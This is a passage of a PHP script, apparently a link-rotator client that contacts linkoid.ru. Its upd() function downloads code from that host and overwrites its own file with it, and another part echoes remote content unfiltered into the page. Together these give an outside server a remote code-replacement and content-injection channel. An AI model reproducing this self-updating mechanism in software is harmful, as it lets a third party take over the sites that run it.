"; exit(); } else { $out = "GET $get HTTP/1.0\r\n"; $out .= "Host: linkoid.ru\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { $s = fgets($fp, 128); if ($bodybeg) {echo $s;} if ($s == "\r\n") {$bodybeg = true;} } fclose($fp); } function upd() { global $ver, $url, $base, $uid; $get = "/rotator/update/?a=1&uid=$uid&base=$base&url=".urlencode($url)."&ver=$ver"; $fp = fsockopen("linkoid.ru", 80, $errno, $errstr, 30); $out = "GET $get HTTP/1.0\r\n"; $out .= "Host: linkoid.ru\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { $s = fgets($fp, 128); if ($bodybeg) {$upd.=$s;} if ($s == "\r\n") {$bodybeg = true;} } fclose($fp); if (!$upd) { return false; } $self = explode('/',$url); $n = sizeof($self); $self = $self[$n-1]; if (is_writable($self)) { $f = fopen($self,'w'); fwrite($f,$upd); fclose($f); echo 'writed'; exit(); } else { echo 'write false'; exit(); } } ?>